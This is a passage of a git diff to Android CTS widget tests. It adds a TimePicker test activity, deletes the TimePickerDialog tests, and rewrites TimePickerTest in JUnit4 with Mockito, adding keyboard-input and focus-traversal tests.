-        public boolean hasCreatedContextMenu() {
-            return mHasCreatedContextMenu;
-        }
-
-        public void reset() {
-            mHasCreatedContextMenu = false;
-        }
-
-        public void onCreateContextMenu(ContextMenu menu, View v, ContextMenuInfo menuInfo) {
-            mHasCreatedContextMenu = true;
-            if (!mIsMenuItemsBlank) {
-                menu.add("menu item");
-            }
-        }
-    }
-
-    /**
      * A TextWatcher that converts the text to spaces whenever the text changes.
      */
     private static class ConvertToSpacesTextWatcher implements TextWatcher {
diff --git a/tests/tests/widget/src/android/widget/cts/TimePickerCtsActivity.java b/tests/tests/widget/src/android/widget/cts/TimePickerCtsActivity.java
new file mode 100644
index 0000000..34fb8c0
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/TimePickerCtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.TimePicker;
+
+/**
+ * A minimal application for {@link TimePicker} test.
+ */
+public class TimePickerCtsActivity extends Activity {
+    /**
+     * Called when the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.timepicker);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/TimePickerDialogCtsActivity.java b/tests/tests/widget/src/android/widget/cts/TimePickerDialogCtsActivity.java
deleted file mode 100644
index f5c544b..0000000
--- a/tests/tests/widget/src/android/widget/cts/TimePickerDialogCtsActivity.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.widget.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-/**
- * A minimal application for TimePickerDialog test.
- */
-public class TimePickerDialogCtsActivity extends Activity {
-    /**
-     * Called with the activity is first created.
-     */
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-    }
-}
diff --git a/tests/tests/widget/src/android/widget/cts/TimePickerDialogTest.java b/tests/tests/widget/src/android/widget/cts/TimePickerDialogTest.java
deleted file mode 100644
index 73ddc04..0000000
--- a/tests/tests/widget/src/android/widget/cts/TimePickerDialogTest.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.widget.cts;
-
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.app.DatePickerDialog;
-import android.app.TimePickerDialog;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.widget.TimePicker;
-
-/**
- * Test {@link TimePickerDialog}.
- */
-public class TimePickerDialogTest extends
-        ActivityInstrumentationTestCase2<TimePickerDialogCtsActivity> {
-
-    private Activity mActivity;
-
-    public TimePickerDialogTest() {
-        super(TimePickerDialogCtsActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
-    @UiThreadTest
-    public void testConstructor() {
-        new TimePickerDialog(mActivity, null, 7, 0, true);
-
-        new TimePickerDialog(mActivity, AlertDialog.THEME_TRADITIONAL, null, 7, 0, true);
-
-        // Ensure the picker is shown using the Holo-style layout.
-        TimePickerDialog holoDialog = new TimePickerDialog(mActivity, AlertDialog.THEME_HOLO_DARK,
-                null, 7, 0, true);
-        assertEquals(TimePicker.MODE_SPINNER, holoDialog.getTimePicker().getMode());
-
-        // Ensure the picker is shown using the Material-style layout where available.
-        TimePickerDialog holoClockDialog = new TimePickerDialog(mActivity,
-                R.style.Theme_Holo_With_Material_Pickers, null, 7, 0, true);
-        final int expectedMode = mActivity.getResources().getInteger(R.integer.time_picker_mode);
-        assertEquals(expectedMode, holoClockDialog.getTimePicker().getMode());
-
-        new TimePickerDialog(mActivity,
-                android.R.style.Theme_Material_Dialog_Alert, null, 7, 0, true);
-
-        try {
-            new TimePickerDialog(null, null, 7, 0, true);
-            fail("should throw NullPointerException");
-        } catch (Exception e) {
-        }
-    }
-
-}
diff --git a/tests/tests/widget/src/android/widget/cts/TimePickerTest.java b/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
index 39554bb..c65da05 100644
--- a/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
@@ -16,76 +16,101 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
+import android.content.res.Configuration;
 import android.os.Parcelable;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
+import android.view.KeyEvent;
+import android.view.View;
 import android.widget.TimePicker;
-import android.widget.TimePicker.OnTimeChangedListener;
+
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+import com.android.compatibility.common.util.CtsTouchUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Collections;
 
 /**
  * Test {@link TimePicker}.
  */
-public class TimePickerTest extends ActivityInstrumentationTestCase2<CtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TimePickerTest {
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
     private TimePicker mTimePicker;
 
-    private Activity mActivity;
+    @Rule
+    public ActivityTestRule<TimePickerCtsActivity> mActivityRule =
+            new ActivityTestRule<>(TimePickerCtsActivity.class);
 
-    private Context mContext;
-
-    private Instrumentation mInstrumentation;
-
-    public TimePickerTest() {
-        super("android.widget.cts", CtsActivity.class);
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mTimePicker = (TimePicker) mActivity.findViewById(R.id.timepicker_clock);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
-        mContext = mInstrumentation.getTargetContext();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructors() {
-        AttributeSet attrs =
-            mContext.getResources().getLayout(android.widget.cts.R.layout.timepicker);
+        AttributeSet attrs = mActivity.getResources().getLayout(R.layout.timepicker);
         assertNotNull(attrs);
 
-        new TimePicker(mContext);
-        try {
-            new TimePicker(null);
-            fail("did not throw NullPointerException when param context is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
+        new TimePicker(mActivity);
 
-        new TimePicker(mContext, attrs);
-        try {
-            new TimePicker(null, attrs);
-            fail("did not throw NullPointerException when param context is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-        new TimePicker(mContext, null);
+        new TimePicker(mActivity, attrs);
+        new TimePicker(mActivity, null);
 
-        new TimePicker(mContext, attrs, 0);
-        try {
-            new TimePicker(null, attrs, 0);
-            fail("did not throw NullPointerException when param context is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-        new TimePicker(mContext, null, 0);
-        new TimePicker(mContext, attrs, 0);
-        new TimePicker(mContext, attrs, Integer.MIN_VALUE);
+        new TimePicker(mActivity, attrs, 0);
+        new TimePicker(mActivity, null, 0);
+        new TimePicker(mActivity, attrs, 0);
+        new TimePicker(mActivity, null, android.R.attr.timePickerStyle);
+        new TimePicker(mActivity, null, 0, android.R.style.Widget_Material_TimePicker);
+        new TimePicker(mActivity, null, 0, android.R.style.Widget_Material_Light_TimePicker);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext1() {
+        new TimePicker(null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext2() {
+        AttributeSet attrs = mActivity.getResources().getLayout(R.layout.timepicker);
+        new TimePicker(null, attrs);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext3() {
+        AttributeSet attrs = mActivity.getResources().getLayout(R.layout.timepicker);
+        new TimePicker(null, attrs, 0);
+    }
+
+    @UiThreadTest
+    @Test
     public void testSetEnabled() {
-        mTimePicker = new TimePicker(mContext);
         assertTrue(mTimePicker.isEnabled());
 
         mTimePicker.setEnabled(false);
@@ -95,50 +120,63 @@
         assertTrue(mTimePicker.isEnabled());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetOnTimeChangedListener() {
-        int initialHour = 13;
-        int initialMinute = 50;
-        mTimePicker = new TimePicker(mContext);
+        // On time change listener is notified on every call to setCurrentHour / setCurrentMinute.
+        // We want to make sure that before we register our listener, we initialize the time picker
+        // to the time that is explicitly different from the values we'll be testing for in both
+        // hour and minute. Otherwise if the test happens to run at the time that ends in
+        // "minuteForTesting" minutes, we'll get two onTimeChanged callbacks with identical values.
+        final int initialHour = 10;
+        final int initialMinute = 38;
+        final int hourForTesting = 13;
+        final int minuteForTesting = 50;
 
-        MockOnTimeChangeListener listener = new MockOnTimeChangeListener();
-        mTimePicker.setOnTimeChangedListener(listener);
-        mTimePicker.setCurrentHour(Integer.valueOf(initialHour));
-        mTimePicker.setCurrentMinute(Integer.valueOf(initialMinute));
-        assertEquals(initialHour, listener.getNotifiedHourOfDay());
-        assertEquals(initialMinute, listener.getNotifiedMinute());
+        mTimePicker.setHour(initialHour);
+        mTimePicker.setMinute(initialMinute);
+
+        // Now register the listener
+        TimePicker.OnTimeChangedListener mockOnTimeChangeListener =
+                mock(TimePicker.OnTimeChangedListener.class);
+        mTimePicker.setOnTimeChangedListener(mockOnTimeChangeListener);
+        mTimePicker.setCurrentHour(Integer.valueOf(hourForTesting));
+        mTimePicker.setCurrentMinute(Integer.valueOf(minuteForTesting));
+        // We're expecting two onTimeChanged callbacks, one with new hour and one with new
+        // hour+minute
+        verify(mockOnTimeChangeListener, times(1)).onTimeChanged(
+                mTimePicker, hourForTesting, initialMinute);
+        verify(mockOnTimeChangeListener, times(1)).onTimeChanged(
+                mTimePicker, hourForTesting, minuteForTesting);
 
         // set the same hour as current
-        listener.reset();
-        mTimePicker.setCurrentHour(Integer.valueOf(initialHour));
-        assertFalse(listener.hasCalledOnTimeChanged());
+        reset(mockOnTimeChangeListener);
+        mTimePicker.setCurrentHour(Integer.valueOf(hourForTesting));
+        verifyZeroInteractions(mockOnTimeChangeListener);
 
-        mTimePicker.setCurrentHour(Integer.valueOf(initialHour + 1));
-        assertTrue(listener.hasCalledOnTimeChanged());
-        assertEquals(initialHour + 1, listener.getNotifiedHourOfDay());
-        assertEquals(initialMinute, listener.getNotifiedMinute());
-        assertSame(mTimePicker, listener.getNotifiedView());
+        mTimePicker.setCurrentHour(Integer.valueOf(hourForTesting + 1));
+        verify(mockOnTimeChangeListener, times(1)).onTimeChanged(
+                mTimePicker, hourForTesting + 1, minuteForTesting);
 
         // set the same minute as current
-        listener.reset();
-        mTimePicker.setCurrentMinute(initialMinute);
-        assertFalse(listener.hasCalledOnTimeChanged());
+        reset(mockOnTimeChangeListener);
+        mTimePicker.setCurrentMinute(minuteForTesting);
+        verifyZeroInteractions(mockOnTimeChangeListener);
 
-        listener.reset();
-        mTimePicker.setCurrentMinute(initialMinute + 1);
-        assertTrue(listener.hasCalledOnTimeChanged());
-        assertEquals(initialHour + 1, listener.getNotifiedHourOfDay());
-        assertEquals(initialMinute + 1, listener.getNotifiedMinute());
-        assertSame(mTimePicker, listener.getNotifiedView());
+        reset(mockOnTimeChangeListener);
+        mTimePicker.setCurrentMinute(minuteForTesting + 1);
+        verify(mockOnTimeChangeListener, times(1)).onTimeChanged(
+                mTimePicker, hourForTesting + 1, minuteForTesting + 1);
 
         // change time picker mode
-        listener.reset();
-        mTimePicker.setIs24HourView( !mTimePicker.is24HourView() );
-        assertFalse(listener.hasCalledOnTimeChanged());
+        reset(mockOnTimeChangeListener);
+        mTimePicker.setIs24HourView(!mTimePicker.is24HourView());
+        verifyZeroInteractions(mockOnTimeChangeListener);
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessCurrentHour() {
-        mTimePicker = new TimePicker(mContext);
-
         // AM/PM mode
         mTimePicker.setIs24HourView(false);
 
@@ -167,9 +205,9 @@
         assertEquals(Integer.valueOf(23), mTimePicker.getCurrentHour());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessHour() {
-        mTimePicker = new TimePicker(mContext);
-
         // AM/PM mode
         mTimePicker.setIs24HourView(false);
 
@@ -198,8 +236,9 @@
         assertEquals(23, mTimePicker.getHour());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessIs24HourView() {
-        mTimePicker = new TimePicker(mContext);
         assertFalse(mTimePicker.is24HourView());
 
         mTimePicker.setIs24HourView(true);
@@ -209,9 +248,9 @@
         assertFalse(mTimePicker.is24HourView());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessCurrentMinute() {
-        mTimePicker = new TimePicker(mContext);
-
         mTimePicker.setCurrentMinute(0);
         assertEquals(Integer.valueOf(0), mTimePicker.getCurrentMinute());
 
@@ -225,9 +264,9 @@
         assertEquals(Integer.valueOf(59), mTimePicker.getCurrentMinute());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessMinute() {
-        mTimePicker = new TimePicker(mContext);
-
         mTimePicker.setMinute(0);
         assertEquals(0, mTimePicker.getMinute());
 
@@ -241,14 +280,15 @@
         assertEquals(59, mTimePicker.getMinute());
     }
 
+    @Test
     public void testGetBaseline() {
-        mTimePicker = new TimePicker(mContext);
         assertEquals(-1, mTimePicker.getBaseline());
     }
 
+    @Test
     public void testOnSaveInstanceStateAndOnRestoreInstanceState() {
-        MyTimePicker source = new MyTimePicker(mContext);
-        MyTimePicker dest = new MyTimePicker(mContext);
+        MyTimePicker source = new MyTimePicker(mActivity);
+        MyTimePicker dest = new MyTimePicker(mActivity);
         int expectHour = (dest.getCurrentHour() + 10) % 24;
         int expectMinute = (dest.getCurrentMinute() + 10) % 60;
         source.setCurrentHour(expectHour);
@@ -261,43 +301,488 @@
         assertEquals(Integer.valueOf(expectMinute), dest.getCurrentMinute());
     }
 
-    private class MockOnTimeChangeListener implements OnTimeChangedListener {
-        private TimePicker mNotifiedView;
+    private boolean isWatch() {
+        return (mActivity.getResources().getConfiguration().uiMode
+                & Configuration.UI_MODE_TYPE_WATCH) == Configuration.UI_MODE_TYPE_WATCH;
+    }
 
-        private boolean mHasCalledOnTimeChanged;
+    @Test
+    public void testKeyboardTabTraversalModeClock() throws Throwable {
+        if (isWatch()) {
+            return;
+        }
+        mTimePicker = (TimePicker) mActivity.findViewById(R.id.timepicker_clock);
 
-        private int mNotifiedHourOfDay;
+        mActivityRule.runOnUiThread(() -> mTimePicker.setIs24HourView(false));
+        mInstrumentation.waitForIdleSync();
+        verifyTimePickerKeyboardTraversal(
+                true /* goForward */,
+                false /* is24HourView */);
+        verifyTimePickerKeyboardTraversal(
+                false /* goForward */,
+                false /* is24HourView */);
 
-        private int mNotifiedMinute;;
+        mActivityRule.runOnUiThread(() -> mTimePicker.setIs24HourView(true));
+        mInstrumentation.waitForIdleSync();
+        verifyTimePickerKeyboardTraversal(
+                true /* goForward */,
+                true /* is24HourView */);
+        verifyTimePickerKeyboardTraversal(
+                false /* goForward */,
+                true /* is24HourView */);
+    }
 
-        public boolean hasCalledOnTimeChanged() {
-            return mHasCalledOnTimeChanged;
+    @Test
+    public void testKeyboardTabTraversalModeSpinner() throws Throwable {
+        if (isWatch()) {
+            return;
+        }
+        mTimePicker = (TimePicker) mActivity.findViewById(R.id.timepicker_spinner);
+
+        mActivityRule.runOnUiThread(() -> mTimePicker.setIs24HourView(false));
+        mInstrumentation.waitForIdleSync();
+
+        // Spinner time-picker doesn't explicitly define a focus order. Just make sure inputs
+        // are able to be traversed (added to focusables).
+        ArrayList<View> focusables = new ArrayList<>();
+        mTimePicker.addFocusables(focusables, View.FOCUS_FORWARD);
+        assertTrue(focusables.contains(mTimePicker.getHourView()));
+        assertTrue(focusables.contains(mTimePicker.getMinuteView()));
+        assertTrue(focusables.contains(mTimePicker.getAmView()));
+        focusables.clear();
+
+        mActivityRule.runOnUiThread(() -> mTimePicker.setIs24HourView(true));
+        mInstrumentation.waitForIdleSync();
+        mTimePicker.addFocusables(focusables, View.FOCUS_FORWARD);
+        assertTrue(focusables.contains(mTimePicker.getHourView()));
+        assertTrue(focusables.contains(mTimePicker.getMinuteView()));
+    }
+
+    @Test
+    public void testKeyboardInputModeClockAmPm() throws Throwable {
+        if (isWatch()) {
+            return;
+        }
+        final int initialHour = 6;
+        final int initialMinute = 59;
+        prepareForKeyboardInput(initialHour, initialMinute, false /* is24hFormat */,
+                true /* isClockMode */);
+
+        // Input valid hour.
+        assertEquals(initialHour, mTimePicker.getHour());
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mTimePicker.getHourView());
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_1);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_0);
+        assertEquals(10, mTimePicker.getHour());
+        assertTrue(mTimePicker.getMinuteView().hasFocus());
+
+        // Input valid minute.
+        assertEquals(initialMinute, mTimePicker.getMinute());
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_4);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_3);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        assertEquals(43, mTimePicker.getMinute());
+        assertTrue(mTimePicker.getAmView().hasFocus());
+
+        // Accepting AM changes nothing.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_ENTER);
+        assertEquals(10, mTimePicker.getHour());
+        assertEquals(43, mTimePicker.getMinute());
+
+        // Focus PM radio.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        assertTrue(mTimePicker.getPmView().hasFocus());
+        // Still nothing has changed.
+        assertEquals(10, mTimePicker.getHour());
+        assertEquals(43, mTimePicker.getMinute());
+        // Select PM and verify the hour has changed.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_ENTER);
+        assertEquals(22, mTimePicker.getHour());
+        assertEquals(43, mTimePicker.getMinute());
+        // Set AM again.
+        CtsKeyEventUtil.sendKeyWhileHoldingModifier(mInstrumentation, mTimePicker,
+                KeyEvent.KEYCODE_TAB, KeyEvent.KEYCODE_SHIFT_LEFT);
+        assertTrue(mTimePicker.getAmView().hasFocus());
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_ENTER);
+        assertEquals(10, mTimePicker.getHour());
+
+        // Re-focus the hour view.
+        CtsKeyEventUtil.sendKeyWhileHoldingModifier(mInstrumentation, mTimePicker,
+                KeyEvent.KEYCODE_TAB, KeyEvent.KEYCODE_SHIFT_LEFT);
+        CtsKeyEventUtil.sendKeyWhileHoldingModifier(mInstrumentation, mTimePicker,
+                KeyEvent.KEYCODE_TAB, KeyEvent.KEYCODE_SHIFT_LEFT);
+        assertTrue(mTimePicker.getHourView().hasFocus());
+
+        // Input an invalid value (larger than 12).
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_1);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_3);
+        // Force setting the hour by moving to minute.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        // After sending 1 and 3 only 1 is accepted.
+        assertEquals(1, mTimePicker.getHour());
+        assertEquals(43, mTimePicker.getMinute());
+        CtsKeyEventUtil.sendKeyWhileHoldingModifier(mInstrumentation, mTimePicker,
+                KeyEvent.KEYCODE_TAB, KeyEvent.KEYCODE_SHIFT_LEFT);
+        // The hour view still has focus.
+        assertTrue(mTimePicker.getHourView().hasFocus());
+
+        // This time send a valid hour (11).
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_1);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_1);
+        // The value is valid.
+        assertEquals(11, mTimePicker.getHour());
+        assertEquals(43, mTimePicker.getMinute());
+
+        verifyModeClockMinuteInput();
+    }
+
+    @Test
+    public void testKeyboardInputModeClock24H() throws Throwable {
+        if (isWatch()) {
+            return;
+        }
+        final int initialHour = 6;
+        final int initialMinute = 59;
+        prepareForKeyboardInput(initialHour, initialMinute, true /* is24hFormat */,
+                true /* isClockMode */);
+
+        // Input valid hour.
+        assertEquals(initialHour, mTimePicker.getHour());
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mTimePicker.getHourView());
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_1);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_0);
+        assertEquals(10, mTimePicker.getHour());
+        assertTrue(mTimePicker.getMinuteView().hasFocus());
+
+        // Input valid minute.
+        assertEquals(initialMinute, mTimePicker.getMinute());
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_4);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_3);
+        assertEquals(43, mTimePicker.getMinute());
+
+        // Re-focus the hour view.
+        CtsKeyEventUtil.sendKeyWhileHoldingModifier(mInstrumentation, mTimePicker,
+                KeyEvent.KEYCODE_TAB, KeyEvent.KEYCODE_SHIFT_LEFT);
+        assertTrue(mTimePicker.getHourView().hasFocus());
+
+        // Input an invalid value (larger than 24).
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_2);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_5);
+        // Force setting the hour by moving to minute.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        // After sending 2 and 5 only 2 is accepted.
+        assertEquals(2, mTimePicker.getHour());
+        assertEquals(43, mTimePicker.getMinute());
+        CtsKeyEventUtil.sendKeyWhileHoldingModifier(mInstrumentation, mTimePicker,
+                KeyEvent.KEYCODE_TAB, KeyEvent.KEYCODE_SHIFT_LEFT);
+        // The hour view still has focus.
+        assertTrue(mTimePicker.getHourView().hasFocus());
+
+        // This time send a valid hour.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_2);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_3);
+        // The value is valid.
+        assertEquals(23, mTimePicker.getHour());
+        assertEquals(43, mTimePicker.getMinute());
+
+        verifyModeClockMinuteInput();
+    }
+
+    @Test
+    public void testKeyboardInputModeSpinnerAmPm() throws Throwable {
+        if (isWatch()) {
+            return;
+        }
+        final int initialHour = 6;
+        final int initialMinute = 59;
+        prepareForKeyboardInput(initialHour, initialMinute, false /* is24hFormat */,
+                false /* isClockMode */);
+
+        assertEquals(initialHour, mTimePicker.getHour());
+        mActivityRule.runOnUiThread(() -> mTimePicker.getHourView().requestFocus());
+        mInstrumentation.waitForIdleSync();
+
+        // Input invalid hour.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_1);
+        // None of the keys below should be accepted after 1 was pressed.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_3);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_4);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_5);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        // Since only 0, 1 or 2 are accepted for AM/PM hour mode after pressing 1, we expect the
+        // hour value to be 1.
+        assertEquals(1, mTimePicker.getHour());
+        assertFalse(mTimePicker.getHourView().hasFocus());
+
+        //  Go back to hour view and input valid hour.
+        mActivityRule.runOnUiThread(() -> mTimePicker.getHourView().requestFocus());
+        mInstrumentation.waitForIdleSync();
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_1);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_1);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        assertEquals(11, mTimePicker.getHour());
+        assertFalse(mTimePicker.getHourView().hasFocus());
+
+        // Go back to hour view and exercise UP and DOWN keys.
+        mActivityRule.runOnUiThread(() -> mTimePicker.getHourView().requestFocus());
+        mInstrumentation.waitForIdleSync();
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_DPAD_DOWN);
+        assertEquals(12, mTimePicker.getHour());
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_DPAD_UP);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_DPAD_UP);
+        assertEquals(10, mTimePicker.getHour());
+
+        // Minute input testing.
+        assertEquals(initialMinute, mTimePicker.getMinute());
+        verifyModeSpinnerMinuteInput();
+
+        // Reset to values preparing to test the AM/PM picker.
+        mActivityRule.runOnUiThread(() -> {
+            mTimePicker.setHour(6);
+            mTimePicker.setMinute(initialMinute);
+        });
+        mInstrumentation.waitForIdleSync();
+        // In spinner mode the AM view and PM view are the same.
+        assertEquals(mTimePicker.getAmView(), mTimePicker.getPmView());
+        mActivityRule.runOnUiThread(() -> mTimePicker.getAmView().requestFocus());
+        mInstrumentation.waitForIdleSync();
+        assertTrue(mTimePicker.getAmView().hasFocus());
+        assertEquals(6, mTimePicker.getHour());
+        // Pressing A changes nothing.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_A);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        assertEquals(6, mTimePicker.getHour());
+        assertEquals(initialMinute, mTimePicker.getMinute());
+        // Pressing P switches to PM.
+        CtsKeyEventUtil.sendKeyWhileHoldingModifier(mInstrumentation, mTimePicker,
+                KeyEvent.KEYCODE_TAB, KeyEvent.KEYCODE_SHIFT_LEFT);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_P);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        assertEquals(18, mTimePicker.getHour());
+        assertEquals(initialMinute, mTimePicker.getMinute());
+        // Pressing P again changes nothing.
+        CtsKeyEventUtil.sendKeyWhileHoldingModifier(mInstrumentation, mTimePicker,
+                KeyEvent.KEYCODE_TAB, KeyEvent.KEYCODE_SHIFT_LEFT);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_P);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        assertEquals(18, mTimePicker.getHour());
+        assertEquals(initialMinute, mTimePicker.getMinute());
+        // Pressing A switches to AM.
+        CtsKeyEventUtil.sendKeyWhileHoldingModifier(mInstrumentation, mTimePicker,
+                KeyEvent.KEYCODE_TAB, KeyEvent.KEYCODE_SHIFT_LEFT);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_A);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        assertEquals(6, mTimePicker.getHour());
